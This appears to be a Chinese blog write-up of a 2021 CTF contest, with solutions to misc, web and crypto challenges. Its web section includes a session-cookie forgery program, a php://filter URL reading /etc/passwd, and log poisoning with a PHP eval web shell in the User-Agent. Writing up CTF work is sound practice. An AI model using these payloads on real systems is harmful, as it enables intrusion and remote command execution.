type
Post
status
Published
date
Sep 12, 2021
slug
2021/2021ycb
summary
第二天上班还在熬夜打,2333
tags
CTF比赛
MISC
category
比赛Writeup
icon
password
和几个“社会”人士([@DEADF1SH-CAT](https://www.cnblogs.com/DEADF1SH-CAT/)、 [@Oah](#)、 [@小火车](#))一起组队参加了这次比赛,终于不用在高校组卷了,哈哈
部分题目下载链接:
9.17更:官方WP:https://mp.weixin.qq.com/s/BqLTX3au1GIPn3cz9xZISA
MISC
0x01 签到题
不想吐槽,一起来看流星雨对应数字17。。队伍里师傅太骚,我是没想到 2333
gif图每一帧都对应一个数字
28定律-8卦-30而立-北斗7星-4才子-歼20-2只黄鹂-17来看流星雨-乔丹球服23-1马当先-12星座-新闻联播19点开播放
所以是 md5(28-08-30-07-04-20-02-17-23-01-12-19)
Sangfor{d93b7da38d89c19f481e710ef1b3558b}
0x05 Misc520
题目简介:有一天,zip爱上了pcap,zip为了能与pcap创造更多机会,不断地将自己的能力表现出来。可是,LSBSteg却突然杀了出来,将pcap吞并于png中,不放出来。zip看到了png,多喝热水少做梦。zip异常的愤怒,不断地用自己的能力去报复png,不让png逃走。至今,zip仍未释怀。。。
1、首先解压缩520次,顺便打印文件内容(一开始没发现,后面做出来后试了n个组合都不对…),并得到一张图片
flag.png
import zipfile ROOT_DIR = '/Users/tari/Downloads/rezip/' def unzip(file_name): f = zipfile.ZipFile(file_name, 'r') for file in f.namelist(): f.extract(file, ROOT_DIR) if file.startswith('story'): with open(ROOT_DIR + file, 'r') as fr: print(fr.read()) for i in range(520, -1, -1): print(i) name = ROOT_DIR + str(i) + '.zip' unzip(name)
顺便在150.zip 压缩包的 story文件的发现

2、获取到图片后通过zsteg提取flag.pcap
zsteg flag.png

3、发现里面还有个压缩包,一开始还以为提取错了…
steg flag.png -e b1,bgr,lsb,xy > flag.zip

4、压缩包有密码,这个安利 john,很快
zip2john 8.zip > passwd.hashjohn passwd.hash


5、打开压缩包发现是USB流量,通过USB流量分析文章,得知获取鼠标数据方式
tshark -r flag.pcap -T fields -e usb.capdata > usbdata.txt
6、将usbdata.txt通过以下脚本,运行
python xxx.py > usb.txt
输出得到鼠标的坐标点nums = [] keys = open("usbdata.txt", "r") posx = 0 posy = 0 for line in keys: if len(line.strip()) != 8: continue x = int(line[2:4], 16) y = int(line[4:6], 16) if x > 127: x -= 256 if y > 127: y -= 256 posx += x posy += y btn_flag = int(line[0:2], 16) # 1 for left , 2 for right , 0 for nothing if btn_flag == 0: // 1是鼠标左键 2是右键 0是默认 print(posx, posy) nums.append((posx, posy)) keys.close()
这里注意,可能文章里的格式是
00:00:01:00:00:00:ff:ff
这种,这应该是旧版 tshark获取到的,新版应该都是 00ffff00
格式,上面脚本也是适应这种格式7、通过gnuplot绘图
plot usb.txt

得到
130,63,111,94,51,134,119,146
然后配合刚开始在一个story文件找到这个
72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108
由于题目提示说开头是
GWHT
,测试了一下ascii码依次是71,87,72,84
,可以得到数字一次减小1、2、3、4....21
脚本如下得到flag
最后flag:GWHT{W3lCom3_t0_M!sc},替换头部字符串Sangfor{W3lCom3_t0_M!sc},提交成功
Web
0x01 Cross The Side 等WP补充
版本信息: Laravel8.26.1 / PHP7.4.15
先尝试一下 Laravel8 CVE-2021-3129 不过报了个错,好像是分配的内存不够

有点迷,以前复现的时候没遇到这两个报错

相关的反序列化好像要找参数接收入口点,不过爆破一下接口暂时没发现。。
0x02 Checkin_Go
跑登录hash脚本
import hashlib target = '0a7610' candidate = 0 while True: plaintext = str(candidate) hash = hashlib.md5(plaintext.encode('ascii')).hexdigest() if hash[:6] == target: print('plaintext:"' + plaintext + '", md5:' + hash) break candidate = candidate + 1
帐号密码 tari/tari + 得到的 hash 即可登录,审计源码发现通过checkNowMoney和checkPlayerMoney校验用户的Money和买flag需要的Money,但secret我们不清楚,没法直接伪造。直接base64解码两次,看看Cookie里装的什么东西,其中蓝色的为加密过的内容,即 checkXXX

然后这两个checkXXX,后端校验逻辑为只要能解密内容能解密成功,就行,没有严格校验绑定对应的键是否正常。

但是因base64了两次,直接通过base64 4字节是否对齐替换太麻烦了,直接用gin来替换即可,POC如下
package main import ( "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/gin-gonic/gin" "math/rand" ) func randomChar(l int) []byte { output := make([]byte, l) rand.Read(output) return output } func main() { r := gin.Default() storage := cookie.NewStore(randomChar(16)) r.Use(sessions.Sessions("o", storage)) r.GET("/", func(c *gin.Context) { s := sessions.Default(c) s.Set("uname", "tari") checkPlayerMoney := s.Get("checkPlayerMoney") checflagMoney := s.Get("checkNowMoney") // 交换 现有的money 和 买 flag money 加密后的值 s.Set("checkNowMoney", checkPlayerMoney) s.Set("checkPlayerMoney", checflagMoney) playerMoney := s.Get("playerMoney") flagMoney := s.Get("nowMoney") s.Set("nowMoney", playerMoney) s.Set("playerMoney", flagMoney) s.Save() }) r.Run("0.0.0.0:80") }
首先帐号密码 tari/tari + hash 登录,然后把Cookie提取取来,在本地浏览器替换,访问本地刚刚POC建的HTTP服务即会替换

然后就把Set-Cookie的值替换到比赛环境,访问比赛环境即会看到Money额flag钱对换位置了

在点buyFlag即可得flag

0x03 Only 4
没成功的思路:
1、目录爆破得知存在文件 secret.php
2、伪协议可读/etc/passwd (
/?gwht=php://filter/convert.base64-encode/resource=/etc/passwd&ycb=1
)但读不了 secret.php3、反序列化不是很明白咋利用。。
通过下面非预期解命令执行后,发现原来还有个 serialize.php 文件,,我30w字典都没有,kali自带的也没有,辣鸡题目。预期解是,目录爆破得 serialize.php 然后构造POP链,得到 secret.php 然后通过
>
写shell得到flag以下应该为非预期解:
尝试文件包含 /var/log/httpd/access.log access_log error.log error_log 和 /var/log/apache2/access 等等日志文件,均没成功。
尝试通过伪协议读 /proc,读了 /proc/self/cmdline 和 environ但没啥信息,仔细想想apache既然在运行,肯定还会有相关的文件描述符,按理说,举办方不会ban了这部分的日志才对。通过burp爆破一下 /proc/self/fd/数字

那咋整,,果断向举办放,让他们帮我重置环境。。。
重新来一次,UA写入
<?php @eval($_GET['c']); ?>

成功,发现flag在根目录下

0x04 Shop System 等WP补充
据说源码是:https://gitee.com/agoni_no/gulimall
1、明显是fastjson, @type被禁用,考虑绕过,
2、通过unicode编码绕过,可以打dnslog
3、拿到jdk信息-> /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.302.b08-0.el7_9.x86_64/jre
4、可以拿到报错的调用栈(但是好像没用)
5、估计版本>=1.2.67
0x05 NO SQL 等WP补充
1、目录爆破得源码 backup.zip
2、发现用户Sangfor,重置密码显示 Invalid address: (From): root@localhost
3、找不到NoSQL注入注入点
0x06 EasyCurl 等WP补充
1、访问 /app 敏感信息泄漏,知道登录帐号和密码两个
2、举办方提示 /common.php.bak
3、目录爆破发现 admin.php config.php login.php 还有个 log/ 目录里面记录了登录信息
4、不知道咋触发cache_parser 的魔术函数
Crypto
0x01 RingRingRing
一共有两个挑战
第一个是算出md5符合要求的字符串,直接从1开始爆破
第二个是计算
a**4 + b**4 + c**4 + d**4 == e**2
当abcd相同时,可以转换成
4*a**4==e**2
再进一步转换
e = 2*a*a
最后爆破出100个就行了
import hashlib import socket import re def md5(plain): return hashlib.md5(plain.encode()).hexdigest() def challenge_1(s): # 读题 msg = s.recv(1024).decode() print(msg, end="") salt, target = re.findall(r"md5\(str \+ (.*?)\)\[0:5\] \=\= (.*)", msg)[0] msg = s.recv(1024).decode() print(msg, end="") # 解题 i = 0 while 1: result = str(i) hash_text = md5(result + salt)[0:5] if hash_text == target: print(result) s.send(result.encode()) return i += 1 def challenge_2(s): # 读题 msg = s.recv(1024).decode() print(msg, end="") # 解题 for a in range(1, 101): e = 2 * a * a a = str(a) e = str(e) msg = s.recv(1024).decode() s.send(a.encode()) print(msg, end="") print(a) msg = s.recv(1024).decode() s.send(a.encode()) print(msg, end="") print(a) msg = s.recv(1024).decode() s.send(a.encode()) print(msg, end="") print(a) msg = s.recv(1024).decode() s.send(a.encode()) print(msg, end="") print(a) msg = s.recv(1024).decode() s.send(e.encode()) print(msg, end="") print(e) msg = s.recv(1024).decode() print(msg, end="") s = socket.socket() s.connect(("192.168.41.180", 2378)) challenge_1(s) challenge_2(s) msg = s.recv(1024).decode() print(msg, end="") # flag is: GWHT{a_funny_equation}
0x02 Easy_Rsa
参考链接:https://0xdktb.top/2020/02/28/Summary-of-Crypto-in-CTF-RSA/
求p,q(python)
from Crypto.Util.number import * def f(x, n): return (pow(x, n - 1, n) + 3) % n def rho(n): i = 1 while True: a = getRandomRange(2, n) b = f(a, n) j = 1 while True: p = GCD(abs(a - b), n) # print('{} in {} circle'.format(j, i)) if p == n: break elif p > 1: return (p, n // p) else: a = f(a, n) b = f(f(b, n), n) j += 1 i += 1 def main(): n = 84236796025318186855187782611491334781897277899439717384242559751095347166978304126358295609924321812851255222430530001043539925782811895605398187299748256080526691975084042025794113521587064616352833904856626744098904922117855866813505228134381046907659080078950018430266048447119221001098505107823645953039 p, q = rho(n) if __name__ == "__main__": main()
求m(sage)
p, q = 9983140483800634632426126985832058062766650402234684899412786169759602188949733747138853010482968306554808689182393249326088351886439191015684338347893201, 8437905502983445042677582637893534375137565614989838462475696727313788501904161403475771835934720130340799646782932619714906025013322551788559197469878239 n = 84236796025318186855187782611491334781897277899439717384242559751095347166978304126358295609924321812851255222430530001043539925782811895605398187299748256080526691975084042025794113521587064616352833904856626744098904922117855866813505228134381046907659080078950018430266048447119221001098505107823645953039 e = 58337 c = 13646200911032594651110040891135783560995665642049282201695300382255436792102048169200570930229947213493204600006876822744757042959653203573780257603577712302687497959686258542388622714078571068849217323703865310256200818493894194213812410547780002879351619924848073893321472704218227047519748394961963394668 phi = (p - 1) * (q - 1) d = inverse_mod(e, phi) m = pow(c, d, n) print(m)
m=764933079065821303936797644844502321236920812448552312502734605833024103591159476785230123313397308075827837
转换成字符串
SangFor{0a8c2220-4c1b-32c8-e8c1-adf92ec7678b}
小总结
好,非常愉快的周末就这样过去了~
还有几个Web题还是挺好奇咋整的,因此占个坑位..